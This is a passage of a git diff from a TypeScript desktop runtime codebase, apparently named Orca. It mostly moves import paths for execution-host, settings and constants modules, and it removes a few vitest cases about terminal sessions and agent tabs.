a/src/main/runtime/session-tabs/restored-chat-tab-changes.ts b/src/main/runtime/session-tabs/restored-chat-tab-changes.ts index b0e05b673a3..b8e8f5ddc97 100644 --- a/src/main/runtime/session-tabs/restored-chat-tab-changes.ts +++ b/src/main/runtime/session-tabs/restored-chat-tab-changes.ts @@ -1,7 +1,7 @@ import { OrcaRuntimeWithCloseMobileSessionTab } from '../session-lifecycle/close/close-mobile-session-tab' import { getStructuredAgentSessionHost } from '../../native-chat/agent-session-wire/host/structured-agent-session-registry' import type { RuntimeMobileSessionTabsSnapshot } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { retireStructuredAgentSessionTabFrom } from '../agent-session/structured-agent-session-tab-retirement' import { chatTabChangesMatchingIndex } from '../agent-session/structured-agent-session-tab-index-seed' import { chatTabId, type ChatTabChange } from '../agent-session/agent-session-tab-layout' diff --git a/src/main/runtime/session-tabs/saved-conversation-title-publication.ts b/src/main/runtime/session-tabs/saved-conversation-title-publication.ts index 1ef8bbe5494..d5d0aefa282 100644 --- a/src/main/runtime/session-tabs/saved-conversation-title-publication.ts +++ b/src/main/runtime/session-tabs/saved-conversation-title-publication.ts @@ -6,7 +6,7 @@ import { getStructuredAgentSessionHost } from '../../native-chat/agent-session-w import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' import { structuredChatDisplayName } from '../../../shared/agent-session/view/structured-chat-row-name' import { agentSessionRecordShownName } from '../agent-session/records/agent-session-record-shown-name' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { RuntimeMobileSessionTabsSnapshot } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' export abstract class OrcaRuntimeWithSavedConversationTitlePublication extends OrcaRuntimeWithScheduleMobileSessionTabsChanged { diff --git a/src/main/runtime/session-tabs/session-tabs-inventory-publication.ts b/src/main/runtime/session-tabs/session-tabs-inventory-publication.ts index 417590bd65c..041c5a10fda 100644 --- a/src/main/runtime/session-tabs/session-tabs-inventory-publication.ts +++ b/src/main/runtime/session-tabs/session-tabs-inventory-publication.ts @@ -1,5 +1,5 @@ import type { PtyControllerInventory } from '../terminal/lifecycle/runtime-pty-controller-contract' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { OrcaRuntimeWithCollectMobileVisibleGraphChangedWorktrees } from './session-tabs-inventory' export abstract class RuntimeSessionTabsInventoryPublication extends OrcaRuntimeWithCollectMobileVisibleGraphChangedWorktrees { diff --git a/src/main/runtime/session-tabs/structured-conversation-label-changes.ts b/src/main/runtime/session-tabs/structured-conversation-label-changes.ts index 874b6f5ae60..f2c4438234c 100644 --- a/src/main/runtime/session-tabs/structured-conversation-label-changes.ts +++ b/src/main/runtime/session-tabs/structured-conversation-label-changes.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import type { RuntimeStore } from '../construction/runtime-store-contract' import { partitionHoldsWorktree } from '../workspaces/session-hosts/twin-repo-session-host' diff --git a/src/main/runtime/session-tabs/structured-session-cli-writer-host.ts b/src/main/runtime/session-tabs/structured-session-cli-writer-host.ts index a8973a9857b..7b508cb4f79 100644 --- a/src/main/runtime/session-tabs/structured-session-cli-writer-host.ts +++ b/src/main/runtime/session-tabs/structured-session-cli-writer-host.ts @@ -2,7 +2,7 @@ import { terminalLaunchFacts, type TerminalLaunchResult } from '../../../shared/agent-session/lifecycle/agent-session-resume' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { StructuredAgentId } from '../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle' import { assertCliConversationWritersExited } from '../agent-session/lifecycle/structured-agent-cli-writers' import type { EnrichedAgentHookEventPayload } from '../../agent-hooks/server/server-types' diff --git a/src/main/runtime/session-tabs/structured-session-tab-close.ts b/src/main/runtime/session-tabs/structured-session-tab-close.ts index 373eb4f2011..29680f3be92 100644 --- a/src/main/runtime/session-tabs/structured-session-tab-close.ts +++ b/src/main/runtime/session-tabs/structured-session-tab-close.ts @@ -1,5 +1,5 @@ import { retireMobileSessionTabSelection } from './mobile-session-tab-selection' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { OrcaRuntimeWithStoredMobileSnapshotHasStalePreservedTab as BrowserOwnership } from './mobile-session-publication-preservation' import type { OrcaRuntimeWithPruneMobileSessionTabGroupLayout as PruneMobileSessionTabGroupLayoutMethods } from '../session-lifecycle/projection/prune-mobile-session-tab-group-layout' import type { RuntimeHeadlessTabGroups as HeadlessTabGroupsMethods } from './headless-tab-group-moves' diff --git a/src/main/runtime/session-tabs/structured-session-tab-restoration.ts b/src/main/runtime/session-tabs/structured-session-tab-restoration.ts index 1ec3a816905..25494c81f60 100644 --- a/src/main/runtime/session-tabs/structured-session-tab-restoration.ts +++ b/src/main/runtime/session-tabs/structured-session-tab-restoration.ts @@ -7,7 +7,7 @@ import { import type { OrcaRuntimeWithScheduleMobileSessionTabsChanged as ScheduleMobileSessionTabsChangedMethods } from './session-tabs-change-publication' import { OrcaRuntimeWithGetStructuredAgentSessionCreateSupport } from './structured-session-create-support' import { getStructuredAgentSessionHost } from '../../native-chat/agent-session-wire/host/structured-agent-session-registry' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { restoredChatTabChanges } from './restored-chat-tab-changes' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' import type { RuntimeRepoSearchRefs } from '../../../shared/worktree/catalog/runtime-worktree-contracts' diff --git a/src/main/runtime/session-tabs/structured-session-workspace-scope.ts b/src/main/runtime/session-tabs/structured-session-workspace-scope.ts index 25bc6077712..332e8dd5b01 100644 --- a/src/main/runtime/session-tabs/structured-session-workspace-scope.ts +++ b/src/main/runtime/session-tabs/structured-session-workspace-scope.ts @@ -6,7 +6,7 @@ import { LOCAL_EXECUTION_HOST_ID, getConnectionExecutionHostId, getRepoExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { getLocalProjectWorktreeGitOptions } from '../../workspaces/execution-host/project-runtime-git-options' import { isFloatingWorkspaceId, diff --git a/src/main/runtime/session-tabs/structured-workspace-authority.ts b/src/main/runtime/session-tabs/structured-workspace-authority.ts index 90784b55de7..ad05d57a68c 100644 --- a/src/main/runtime/session-tabs/structured-workspace-authority.ts +++ b/src/main/runtime/session-tabs/structured-workspace-authority.ts @@ -7,7 +7,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, LOCAL_EXECUTION_HOST_ID -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { resolveQualifiedFolderWorkspaceResult } from '../../../shared/folder-workspaces/folder-workspace-execution-host' import { isFloatingWorkspaceId } from '../../../shared/workspace/identity/floating-workspace-worktree' import { isFolderRepo } from '../../../shared/repository/repo-kind' diff --git a/src/main/runtime/session-tabs/terminal-surface-retirements.ts b/src/main/runtime/session-tabs/terminal-surface-retirements.ts index 36a9c4c5b99..74e130e2117 100644 --- a/src/main/runtime/session-tabs/terminal-surface-retirements.ts +++ b/src/main/runtime/session-tabs/terminal-surface-retirements.ts @@ -2,7 +2,10 @@ import type { OrcaRuntimeWithBindPtyIncarnationHandle as BindPtyIncarnationHandl import { OrcaRuntimeWithTouchMobileSessionTabsForWorktree } from './mobile-session-membership' import type { RetiredTerminalSurface } from '../terminal/surface/mobile-session-terminal-retirement' import type { RuntimeMobileSessionRetiredTerminalSurface } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' import { keepsExitedPane } from '../terminal/lifecycle/exited-split-pane-layout-close' import type { ExitedSplitPaneFacts } from '../terminal/lifecycle/exited-split-pane-rule' diff --git a/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.test.ts b/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.test.ts index 6b0e3fd484b..18c8dad784e 100644 --- a/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.test.ts +++ b/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.test.ts @@ -3,8 +3,8 @@ import { describe, expect, it } from 'vitest' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' -import type { ManualRepoOrderEntry } from '../../../../shared/ui-chrome-types' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' +import type { ManualRepoOrderEntry } from '../../../../shared/ui-chrome/ui-chrome-types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import { readDesktopSidebarFacts, type DesktopSidebarFactSources } from './desktop-sidebar-facts' diff --git a/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.ts b/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.ts index 5563f982144..6ef94ad24ae 100644 --- a/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.ts +++ b/src/main/runtime/sidebar-inputs/catalog/desktop-sidebar-facts.ts @@ -6,14 +6,14 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { applyManualRepoOrder } from '../../../../shared/repository/manual-repo-order' import type { DesktopSidebarFacts } from '../../../../shared/sidebar-list/feed-facts/desktop-sidebar-facts' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { getHostDisplayLabelOverrides } from '../../../../shared/execution-host/host-setting-overrides' import type { SshConnectionState, SshTarget } from '../../../../shared/remote-runtime/ssh/ssh-types' import type { WslHostStatus } from '../../../../shared/remote-runtime/wsl-hosts/wsl-host-types' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { readAllWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta' diff --git a/src/main/runtime/sidebar-inputs/catalog/sidebar-project-catalog.ts b/src/main/runtime/sidebar-inputs/catalog/sidebar-project-catalog.ts index 33057b96453..980b6756baa 100644 --- a/src/main/runtime/sidebar-inputs/catalog/sidebar-project-catalog.ts +++ b/src/main/runtime/sidebar-inputs/catalog/sidebar-project-catalog.ts @@ -1,5 +1,5 @@ import type { MobileProjectSectionCatalog } from '../../../../shared/sidebar-list/catalog/mobile-project-sections-contract' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { buildSidebarProjectCatalog, type PairedServerCatalog diff --git a/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts b/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts index 5398add8e5f..57c3613ba11 100644 --- a/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts +++ b/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts @@ -3,14 +3,14 @@ import { isRemoteRuntimePtyId } from '../../../shared/remote-runtime/remote-runt import { OrcaRuntimeWithDetectedCheckoutsAndLiveContent } from './workspace-facts/orca-runtime-detected-checkouts-live-content' import type { OrcaRuntimeWithAgentTransitions } from '../construction/orca-runtime-agent-transitions' import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../shared/sidebar-list/feed/sidebar-inputs-switch' -import { DEFAULT_HIDE_SLEEPING_WORKSPACES } from '../../../shared/constants' +import { DEFAULT_HIDE_SLEEPING_WORKSPACES } from '../../../shared/workspace-view/sleeping-workspace-visibility' import { getConnectionExecutionHostId, isLocalExecutionHost, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { SidebarTemporalSnapshot } from '../../../shared/sidebar-list/feed/sidebar-temporal-snapshot' import type { WorkspaceRowsProducer } from './workspace-rows/workspace-rows-producer' import { diff --git a/src/main/runtime/sidebar-inputs/sidebar-inputs-desktop-facts.ts b/src/main/runtime/sidebar-inputs/sidebar-inputs-desktop-facts.ts index b7cd4ca6a50..6dd14902898 100644 --- a/src/main/runtime/sidebar-inputs/sidebar-inputs-desktop-facts.ts +++ b/src/main/runtime/sidebar-inputs/sidebar-inputs-desktop-facts.ts @@ -7,7 +7,7 @@ import type { RuntimeClientEvent } from '../../../shared/remote-runtime/session- import type { DesktopSidebarFacts } from '../../../shared/sidebar-list/feed-facts/desktop-sidebar-facts' import type { RuntimeStore } from '../construction/runtime-store-contract' import { WORKTREE_METADATA_DOMAINS } from '../../persistence/profile-save-domains' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import { readDesktopSidebarFacts } from './catalog/desktop-sidebar-facts' /** This host's store and connection registries, read the way sidebarInputs.desktopFacts reads them. */ diff --git a/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts b/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts index 66bd2409c52..10d11b7ebf7 100644 --- a/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts +++ b/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts @@ -27,7 +27,7 @@ import { buildWorkspaceReviewFacts } from '../../../shared/sidebar-list/feed-facts/workspace-review-facts' import { buildPairedServerActivityFacts } from '../../../shared/sidebar-list/feed-facts/paired-server-activity-facts' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { keyWorkspaceActivityByRow } from '../../../shared/sidebar-list/feed-facts/workspace-activity-facts' export type SidebarInputsFeedSources = { diff --git a/src/main/runtime/sidebar-inputs/temporal/orca-runtime-windowless-terminal-activity.ts b/src/main/runtime/sidebar-inputs/temporal/orca-runtime-windowless-terminal-activity.ts index 4677eeccdd8..61bdeb75527 100644 --- a/src/main/runtime/sidebar-inputs/temporal/orca-runtime-windowless-terminal-activity.ts +++ b/src/main/runtime/sidebar-inputs/temporal/orca-runtime-windowless-terminal-activity.ts @@ -3,7 +3,7 @@ import { HEADLESS_RUNTIME_WINDOW_ID } from '../../../../shared/remote-runtime/se import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../shared/sidebar-list/feed/sidebar-inputs-switch' import { isRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' import type { RuntimeTerminalSplit } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isRestoreSpawnIntent } from '../../../../shared/terminal/pty/admission/spawn-admission-contract' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' diff --git a/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.test.ts b/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.test.ts index 0d7b20d1607..8c42d059af8 100644 --- a/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.test.ts +++ b/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.test.ts @@ -5,7 +5,7 @@ import type { AgentStatusStoreView } from '../workspace-facts/workspace-activity import '../../../../shared/agent-status/contracts/agent-status-subject' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' import type { TerminalSideEffectFact } from '../../../../shared/terminal/output/terminal-side-effect-facts' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import '../../../../shared/sidebar-list/sorting/sort-stamps' import type { SmartStampFields } from '../../../../shared/sidebar-list/sorting/sort-stamps' @@ -255,20 +255,6 @@ describe('SortStampsProducer: terminal events', () => { expect(h.meta.get(WT)).toEqual({ lastActivityAt: 0, smartTier: undefined, smartAt: undefined }) }) - it('treats a new PTY in the pane as a new agent', () => { - const h = createHarness() - h.sideEffects([title('⠋ Codex working')]) - advance(20_000) - h.sideEffects([title('⠋ Codex working')], { ptyId: 'pty-2' }) - expect(h.exits.has('pty-t')).toBe(false) - // Its finish is a transition, and its own exit ends it. - const doneAt = advance(20_000) - h.sideEffects([title('Codex')], { ptyId: 'pty-2' }) - expect(h.meta.get(WT)).toEqual({ lastActivityAt: doneAt, smartTier: 'done', smartAt: doneAt }) - h.exits.get('pty-2')!() - expect(h.meta.get(WT)?.smartTier).toBeUndefined() - }) - // A pane its title tracked is handed to hooks by their first row, whatever that row says. it('hands a title-tracked pane to its first hook row: a finish stamps Done', () => { const h = createHarness() diff --git a/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.ts b/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.ts index 996e037f854..334df0adbf0 100644 --- a/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.ts +++ b/src/main/runtime/sidebar-inputs/temporal/sort-stamps-producer.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' import type { AgentPhase, diff --git a/src/main/runtime/sidebar-inputs/workspace-rows/detected-checkouts-producer.ts b/src/main/runtime/sidebar-inputs/workspace-rows/detected-checkouts-producer.ts index bf9af281deb..23c7c02a1f9 100644 --- a/src/main/runtime/sidebar-inputs/workspace-rows/detected-checkouts-producer.ts +++ b/src/main/runtime/sidebar-inputs/workspace-rows/detected-checkouts-producer.ts @@ -1,7 +1,7 @@ import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' import type { Repo } from '../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult } from '../../../../shared/worktree/types' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRepoHostIdentityForParts } from '../../../../shared/repository/repo-host-identity' import { CachedScan } from '../cached-scan' import { ProducerRevision } from '../producer-revision' diff --git a/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-producer.ts b/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-producer.ts index 07cebf04c8b..04e806e9b4c 100644 --- a/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-producer.ts +++ b/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-producer.ts @@ -4,7 +4,7 @@ import { pairedServerRowsSnapshot } from './paired-server-rows-snapshot' import { watchPairedServerRows } from './paired-server-rows-watch' import { ProducerRevision } from '../producer-revision' import { environmentStoreWriteCount } from '../../../../shared/remote-runtime/host-store/runtime-environment-store-worker-client' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { describePairedServerHosts } from '../../../../shared/remote-runtime/host-catalog/paired-server-hosts' import type { MobileRelayServerWorktreeRow } from '../../../../shared/remote-runtime/relay/mobile-relay-hosts-contract' import type { PairedServerRowsSnapshot } from '../../../../shared/sidebar-list/feed-facts/paired-server-rows' diff --git a/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-snapshot.ts b/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-snapshot.ts index 2a230cbca18..e3fe75bbc02 100644 --- a/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-snapshot.ts +++ b/src/main/runtime/sidebar-inputs/workspace-rows/paired-server-rows-snapshot.ts @@ -1,5 +1,8 @@ import { describePairedServerHosts } from '../../../../shared/remote-runtime/host-catalog/paired-server-hosts' -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toRuntimeExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { normalizePairedServerRow, type PairedServerRowsSnapshot diff --git a/src/main/runtime/sidebar-inputs/workspace-rows/workspace-rows-producer.ts b/src/main/runtime/sidebar-inputs/workspace-rows/workspace-rows-producer.ts index 70756acee4b..64735797642 100644 --- a/src/main/runtime/sidebar-inputs/workspace-rows/workspace-rows-producer.ts +++ b/src/main/runtime/sidebar-inputs/workspace-rows/workspace-rows-producer.ts @@ -7,7 +7,7 @@ import { composeWorktreeHostIdentity } from '../../../../shared/worktree/host-qu import type { ResolvedWorktree } from '../../workspaces/catalog/runtime-worktree-path-identity' import type { ResolvedWorktreeSnapshot } from '../../workspaces/catalog/runtime-resolved-worktree-cache' import type { RuntimeStore } from '../../construction/runtime-store-contract' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { runtimeVisibleFolderWorkspaces } from '../../workspaces/catalog/runtime-visible-catalog' import type { ResolvedWorktreeRepoScans, diff --git a/src/main/runtime/speech/runtime-mobile-dictation-controller.ts b/src/main/runtime/speech/runtime-mobile-dictation-controller.ts index 5b627ce1caf..0b20a7b0f16 100644 --- a/src/main/runtime/speech/runtime-mobile-dictation-controller.ts +++ b/src/main/runtime/speech/runtime-mobile-dictation-controller.ts @@ -1,4 +1,4 @@ -import { getDefaultVoiceSettings } from '../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../shared/orca-profiles/constants' import { MOBILE_DICTATION_RECONNECT_GRACE_MS } from '../../../shared/rpc-contract/speech/speech-params' import { speechModelNotReadyError } from '../../../shared/speech/models/speech-model-retirement' import { getSpeechModelManager, getSpeechSttService } from '../../speech/speech-runtime-service' diff --git a/src/main/runtime/speech/runtime-mobile-speech-catalog.ts b/src/main/runtime/speech/runtime-mobile-speech-catalog.ts index ae7be1df3f6..a144f0f0681 100644 --- a/src/main/runtime/speech/runtime-mobile-speech-catalog.ts +++ b/src/main/runtime/speech/runtime-mobile-speech-catalog.ts @@ -4,7 +4,7 @@ import type { RuntimeSpeechModelSummary, RuntimeSpeechSetupState } from '../../../shared/worktree/catalog/runtime-worktree-contracts' -import { getDefaultVoiceSettings } from '../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../shared/orca-profiles/constants' import { dictationShortcutModeSettings } from '../../../shared/speech/dictation/dictation-shortcut-mode' import { getCatalogModel, diff --git a/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-plan.ts b/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-plan.ts index b9d4bcc5f47..52d48ece4bd 100644 --- a/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-plan.ts +++ b/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-plan.ts @@ -1,6 +1,6 @@ import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { RuntimeTerminalOrphanAdoptionRequest } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { hasClosedTerminalTabRecord } from '../../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-rollback.test.ts b/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-rollback.test.ts index af86be49e84..0b6310210ee 100644 --- a/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-rollback.test.ts +++ b/src/main/runtime/terminal/adoption/runtime-terminal-orphan-adoption-rollback.test.ts @@ -2,7 +2,10 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { RuntimeTerminalOrphanAdoptionRequest } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/terminal/adoption/runtime-terminal-orphan-session-adoption.ts b/src/main/runtime/terminal/adoption/runtime-terminal-orphan-session-adoption.ts index 09eeb00cdf2..9e75f0fdfef 100644 --- a/src/main/runtime/terminal/adoption/runtime-terminal-orphan-session-adoption.ts +++ b/src/main/runtime/terminal/adoption/runtime-terminal-orphan-session-adoption.ts @@ -1,5 +1,5 @@ import { randomUUID } from 'node:crypto' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RuntimeTerminalOrphanAdoptionRequest } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' import { loadWorkspaceLayoutWithoutReport } from '../../../../shared/workspace-layout/persistence/workspace-layout-load' import { nameBasedLoadContext } from '../../../../shared/workspace-layout/persistence/workspace-layout-minted-ids' diff --git a/src/main/runtime/terminal/adoption/unshown-live-terminal-placement.ts b/src/main/runtime/terminal/adoption/unshown-live-terminal-placement.ts index a69895c5330..ffca7b54d7c 100644 --- a/src/main/runtime/terminal/adoption/unshown-live-terminal-placement.ts +++ b/src/main/runtime/terminal/adoption/unshown-live-terminal-placement.ts @@ -1,8 +1,8 @@ // Main places live local terminals absent from every pane at startup/window load, reusing their free recorded pane or creating a tab. import { randomUUID } from 'node:crypto' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import type { CommandOf, diff --git a/src/main/runtime/terminal/driver/terminal-driver-resources.ts b/src/main/runtime/terminal/driver/terminal-driver-resources.ts index b0d8b9ae093..c9522bc0313 100644 --- a/src/main/runtime/terminal/driver/terminal-driver-resources.ts +++ b/src/main/runtime/terminal/driver/terminal-driver-resources.ts @@ -5,7 +5,7 @@ import { resolveRemoteCliBrowserScopeSelector } from '../../desktop-browser-bridge/remote-cli-browser-scope' import type { ResolvedWorktree } from '../../workspaces/catalog/runtime-worktree-path-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { RuntimeAccountController } from '../../agent-session/environment/runtime-account-controller' import type { BrowserNetworkExecutionHost } from '../../../../shared/browser/client-hosting/browser-network-execution-host' diff --git a/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts b/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts deleted file mode 100644 index 07849a219f0..00000000000 --- a/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts +++ /dev/null @@ -1,128 +0,0 @@ -import '../../orca-runtime-tests/orca-runtime-test-lifecycle.spec' -import { expect, it, vi } from 'vitest' -import { - identityFixture, - watchIdentityFixture, - PANE -} from '../query/terminal-identity.test-fixture' -import { - deferred, - makeRuntimeStoreWithWorkspaceSession, - TEST_WORKTREE_ID, - TEST_WORKTREE_PATH -} from '../../orca-runtime-tests/orca-runtime-test-fixtures.spec' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' - -function sessions() { - return makeRuntimeStoreWithWorkspaceSession({ - ...getDefaultWorkspaceSession(), - tabsByWorktree: { [TEST_WORKTREE_ID]: [] } - }) -} - -function controller() { - return { - write: () => true, - kill: () => true, - getForegroundProcess: async () => null, - listProcesses: async () => [ - { - id: 'pty-restored', - incarnationId: 'original', - terminalHandle: 'term_restored', - title: 'bash', - cwd: TEST_WORKTREE_PATH, - worktreeId: TEST_WORKTREE_ID, - wslDistro: null - } - ] - } -} - -function setup() { - const harness = sessions() - const f = identityFixture(undefined, harness.runtimeStore) - f.runtime.setPtyController(controller()) - return { f, harness } -} - -it('discovers the actual restored placement only after layout apply and re-reads the current same-ID record', async () => { - const { f, harness } = setup() - const entered = deferred() - const release = deferred() - const apply = harness.runtimeStore.applyLayoutCommand.getMockImplementation() - if (!apply) { - throw new Error('Expected the existing production layout reducer adapter') - } - const held = vi - .spyOn(harness.runtimeStore, 'applyLayoutCommand') - .mockImplementation(async (...args) => { - entered.resolve() - await release.promise - return apply(...args) - }) - 